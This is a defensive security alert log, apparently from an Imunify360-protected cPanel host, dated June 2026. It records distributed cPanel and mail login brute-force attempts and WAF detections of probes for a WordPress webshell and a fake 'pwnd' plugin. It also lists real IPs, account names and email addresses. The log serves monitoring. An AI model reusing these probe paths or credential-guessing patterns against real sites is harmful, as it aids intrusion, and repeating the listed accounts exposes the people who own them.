Jun 15 23:35:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.87.33.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.87.33.35
country_id: 3686110
description:
2026-06-15 23:35:44 dovecot_plain authenticator failed for H=(mastint) [186.87.33.35]:40844: 535 Incorrect authentication data (set_id=www.facebook.comarse@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:23:36:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803209&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781566583 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.11.36.54
country_id: 3175395
domain: dagl.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.17||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/myxlsnta/public_html/wp-admin||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 141.11.36.54
country_id: 3175395
domain: dagl.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.17||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 141.11.36.54
country_id: 3175395
domain: dagl.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.234.53.219
country_id: 6252001
description:
[2026-06-15 23:38:57 +0000] info [whostmgrd] 104.234.53.219 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:39:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:39:31 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:59828: 535 Incorrect authentication data (set_id=deluge)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.227.51.119
country_id: 2017370
description:
[2026-06-15 23:46:42 +0000] info [cpaneld] 5.227.51.119 - nstreampro "GET /login/?login_only=1&user=nstreampro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreampro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.143.31.50
country_id: 2542007
description:
[2026-06-15 23:46:58 +0000] info [cpaneld] 41.143.31.50 - nstream "GET /login/?login_only=1&user=nstream&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.166.216.253
country_id: 3017382
description:
[2026-06-15 23:47:13 +0000] info [cpaneld] 88.166.216.253 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.188.108.163
country_id: 2542007
description:
[2026-06-15 23:47:20 +0000] info [cpaneld] 105.188.108.163 - crechepetitelunetg "GET /login/?login_only=1&user=crechepetitelunetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelunetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.132.176.74
country_id: 3017382
description:
[2026-06-15 23:46:56 +0000] info [cpaneld] 92.132.176.74 - nstreamp "GET /login/?login_only=1&user=nstreamp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.235.155.177
country_id: 3469034
description:
[2026-06-15 23:47:19 +0000] info [cpaneld] 45.235.155.177 - ns "GET /login/?login_only=1&user=ns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ns (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.78.39.53
country_id: 3895114
description:
[2026-06-15 23:47:59 +0000] info [cpaneld] 186.78.39.53 - cre "GET /login/?login_only=1&user=cre&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cre (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.207.179
country_id: 3996063
description:
[2026-06-15 23:47:26 +0000] info [cpaneld] 189.203.207.179 - crechepetitelu "GET /login/?login_only=1&user=crechepetitelu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.105.99.222
country_id: 3624060
description:
[2026-06-15 23:47:26 +0000] info [cpaneld] 200.105.99.222 - crechepetitelu "GET /login/?login_only=1&user=crechepetitelu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.212.75.64
country_id: 3469034
description:
[2026-06-15 23:47:31 +0000] info [cpaneld] 186.212.75.64 - crechepetitel "GET /login/?login_only=1&user=crechepetitel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitel (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.170.233.44
country_id: 2464461
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/faits-divers/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.3.212.238
country_id: 2017370
description:
[2026-06-15 23:47:41 +0000] info [cpaneld] 5.3.212.238 - crechepeti "GET /login/?login_only=1&user=crechepeti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepeti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.161.223.7
country_id: 2017370
description:
[2026-06-15 23:47:52 +0000] info [cpaneld] 95.161.223.7 - crech "GET /login/?login_only=1&user=crech&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crech (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.194.62.139
country_id: 3686110
description:
[2026-06-15 23:47:52 +0000] info [cpaneld] 186.194.62.139 - crechep "GET /login/?login_only=1&user=crechep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.11.99.60
country_id: 3469034
description:
[2026-06-15 23:48:14 +0000] info [cpaneld] 177.11.99.60 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.235.163.8
country_id: 3932488
description:
[2026-06-15 23:47:40 +0000] info [cpaneld] 190.235.163.8 - crechepetit "GET /login/?login_only=1&user=crechepetit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.247.96.254
country_id: 1562822
description:
[2026-06-15 23:47:47 +0000] info [cpaneld] 171.247.96.254 - crechep "GET /login/?login_only=1&user=crechep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechep (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.229.238.42
country_id: 3508796
description:
[2026-06-15 23:47:46 +0000] info [cpaneld] 201.229.238.42 - crechepet "GET /login/?login_only=1&user=crechepet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.70.202.62
country_id: 3686110
description:
[2026-06-15 23:47:59 +0000] info [cpaneld] 190.70.202.62 - crec "GET /login/?login_only=1&user=crec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.246.59.40
country_id: 3923057
description:
[2026-06-15 23:48:01 +0000] info [cpaneld] 38.246.59.40 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.25.170.137
country_id: 2017370
description:
[2026-06-15 23:47:32 +0000] info [cpaneld] 95.25.170.137 - crechepetite "GET /login/?login_only=1&user=crechepetite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.200.50.113
country_id: 6252001
description:
[2026-06-15 23:47:34 +0000] info [cpaneld] 69.200.50.113 - crechepetit "GET /login/?login_only=1&user=crechepetit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.193.247.88
country_id: 99237
description:
[2026-06-15 23:47:38 +0000] info [cpaneld] 130.193.247.88 - crechepeti "GET /login/?login_only=1&user=crechepeti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepeti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.93.53
country_id: 1512440
description:
[2026-06-15 23:47:21 +0000] info [cpaneld] 213.230.93.53 - crechepetitelunetg "GET /login/?login_only=1&user=crechepetitelunetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitelunetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.109.248.19
country_id: 2589581
description:
[2026-06-15 23:47:28 +0000] info [cpaneld] 41.109.248.19 - crechepetitel "GET /login/?login_only=1&user=crechepetitel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepetitel (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.227.37.143
country_id: 2464461
domain: m.mizuki2.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/m.mizuki2.com/playid/69524-1-4.html HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.189.50.31
country_id: 3996063
description:
[2026-06-15 23:47:41 +0000] info [cpaneld] 187.189.50.31 - crechepet "GET /login/?login_only=1&user=crechepet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crechepet (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 15 23:48:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:48:30 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:57501: 535 Incorrect authentication data (set_id=rrrrrrrr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:48:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.178.186.160
country_id: 1210997
description:
[2026-06-15 23:49:47 +0000] info [cpaneld] 103.178.186.160 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.12.189.27
country_id: 3865483
description:
[2026-06-15 23:49:52 +0000] info [cpaneld] 186.12.189.27 - horizonmedicaltg "GET /login/?login_only=1&user=horizonmedicaltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedicaltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.224.96.28
country_id: 3996063
description:
[2026-06-15 23:49:58 +0000] info [cpaneld] 148.224.96.28 - horizonmedic "GET /login/?login_only=1&user=horizonmedic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.93.70
country_id: 1512440
description:
[2026-06-15 23:50:00 +0000] info [cpaneld] 213.230.93.70 - horizonme "GET /login/?login_only=1&user=horizonme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.76.220.164
country_id: 1210997
description:
[2026-06-15 23:50:08 +0000] info [cpaneld] 203.76.220.164 - horizon "GET /login/?login_only=1&user=horizon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.165.225.79
country_id: 3865483
description:
[2026-06-15 23:50:18 +0000] info [cpaneld] 181.165.225.79 - hori "GET /login/?login_only=1&user=hori&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hori (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.161.45.71
country_id: 3017382
description:
[2026-06-15 23:50:09 +0000] info [cpaneld] 176.161.45.71 - horizonm "GET /login/?login_only=1&user=horizonm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.119.19
country_id: 99237
description:
[2026-06-15 23:50:13 +0000] info [cpaneld] 212.237.119.19 - horiz "GET /login/?login_only=1&user=horiz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horiz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.4.2.126
country_id: 3895114
description:
[2026-06-15 23:50:14 +0000] info [cpaneld] 45.4.2.126 - horizo "GET /login/?login_only=1&user=horizo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.18.149.227
country_id: 3175395
description:
[2026-06-15 23:49:45 +0000] info [cpaneld] 87.18.149.227 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.69.115.40
country_id: 2635167
description:
[2026-06-15 23:49:56 +0000] info [cpaneld] 82.69.115.40 - horizonmedi "GET /login/?login_only=1&user=horizonmedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.64.169.69
country_id: 2542007
description:
[2026-06-15 23:49:55 +0000] info [cpaneld] 196.64.169.69 - horizonmedica "GET /login/?login_only=1&user=horizonmedica&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedica (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.244.26.242
country_id: 3686110
description:
[2026-06-15 23:50:03 +0000] info [cpaneld] 201.244.26.242 - horizonm "GET /login/?login_only=1&user=horizonm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.158.98.188
country_id: 2017370
description:
[2026-06-15 23:49:49 +0000] info [cpaneld] 146.158.98.188 - horizonmedical "GET /login/?login_only=1&user=horizonmedical&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedical (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.112.182.156
country_id: 3658394
description:
[2026-06-15 23:50:04 +0000] info [cpaneld] 181.112.182.156 - horizonmed "GET /login/?login_only=1&user=horizonmed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.38.130.199
country_id: 285570
description:
[2026-06-15 23:50:18 +0000] info [cpaneld] 37.38.130.199 - horiz "GET /login/?login_only=1&user=horiz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horiz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.133.217.75
country_id: 3996063
description:
[2026-06-15 23:50:01 +0000] info [cpaneld] 189.133.217.75 - horizonmedi "GET /login/?login_only=1&user=horizonmedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.73.181.183
country_id: 953987
description:
[2026-06-15 23:50:07 +0000] info [cpaneld] 165.73.181.183 - horizonme "GET /login/?login_only=1&user=horizonme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.186.98.46
country_id: 2017370
description:
[2026-06-15 23:50:10 +0000] info [cpaneld] 93.186.98.46 - horizo "GET /login/?login_only=1&user=horizo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.153.188
country_id: 3996063
description:
[2026-06-15 23:50:20 +0000] info [cpaneld] 187.190.153.188 - hor "GET /login/?login_only=1&user=hor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hor (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.234.11.10
country_id: 2017370
description:
Jun 15 23:50:50 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.234.11.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-06-15 23:50:52 dovecot_login authenticator failed for H=([1.227.135.186]) [213.234.11.10]:58626: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.98.210
country_id: 3057568
description:
Jun 15 23:51:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:23:51:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250135&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781567486 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.98.210
country_id: 3057568
description:
Jun 15 23:51:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.9.9
country_id: 3658394
description:
[2026-06-15 23:55:17 +0000] info [cpaneld] 191.99.9.9 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.191
country_id: 99237
description:
[2026-06-15 23:55:19 +0000] info [cpaneld] 185.24.61.191 - sahamtgcom "GET /login/?login_only=1&user=sahamtgcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamtgcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.172.32.82
country_id: 3865483
description:
[2026-06-15 23:55:32 +0000] info [cpaneld] 190.172.32.82 - ame "GET /login/?login_only=1&user=ame&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ame (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.5.40.13
country_id: 3895114
description:
[2026-06-15 23:55:35 +0000] info [cpaneld] 190.5.40.13 - am "GET /login/?login_only=1&user=am&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user am (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.141.160.204
country_id: 2542007
description:
[2026-06-15 23:55:22 +0000] info [cpaneld] 41.141.160.204 - ameak "GET /login/?login_only=1&user=ameak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.154.125.215
country_id: 102358
description:
[2026-06-15 23:55:24 +0000] info [cpaneld] 142.154.125.215 - ameakco "GET /login/?login_only=1&user=ameakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameakco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.224.216.12
country_id: 3686110
description:
[2026-06-15 23:55:29 +0000] info [cpaneld] 38.224.216.12 - amea "GET /login/?login_only=1&user=amea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user amea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.212.130.176
country_id: 3865483
description:
[2026-06-15 23:55:39 +0000] info [cpaneld] 201.212.130.176 - sa "GET /login/?login_only=1&user=sa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:57:02 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:57:04 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:38827: 535 Incorrect authentication data (set_id=alan)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.177.61.165
country_id: 290557
description:
109.177.61.165 - - [16/Jun/2026:00:00:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6712942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781568003 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mais/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.1003.1356 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.177.61.165


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.70.134
country_id: 1819730
description:
Jun 15 23:59:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.70.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-06-15 23:59:22 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com ([123.52.202.92]) [42.200.70.134]:33781: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.119
country_id: 1668284
description:
Jun 16 00:00:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.119 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.91.86.212
country_id: 3437598
description:
[2026-06-16 00:00:45 +0000] info [cpaneld] 181.91.86.212 - sorouba "GET /login/?login_only=1&user=sorouba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorouba (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.173
country_id: 1269750
description:
Jun 16 00:01:14 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.224.173
country_id: 1269750
description:
2026-06-16 00:01:16 dovecot_login authenticator failed for H=(nsg-corporate-173.224.187.122.airtel.in) [122.187.224.173]:37384: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-06-16 00:00:37 dovecot_login authenticator failed for H=([188.170.243.179]) [101.13.4.119]:36918: 535 Incorrect authentication data (set_id=contact@cameg-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.77.134.169
country_id: 174982
description:
[2026-06-16 00:00:41 +0000] info [cpaneld] 5.77.134.169 - soroubattg "GET /login/?login_only=1&user=soroubattg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubattg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.67.252.5
country_id: 2287781
description:
[2026-06-16 00:00:50 +0000] info [cpaneld] 102.67.252.5 - sorou "GET /login/?login_only=1&user=sorou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.124.205.26
country_id: 2782113
description:
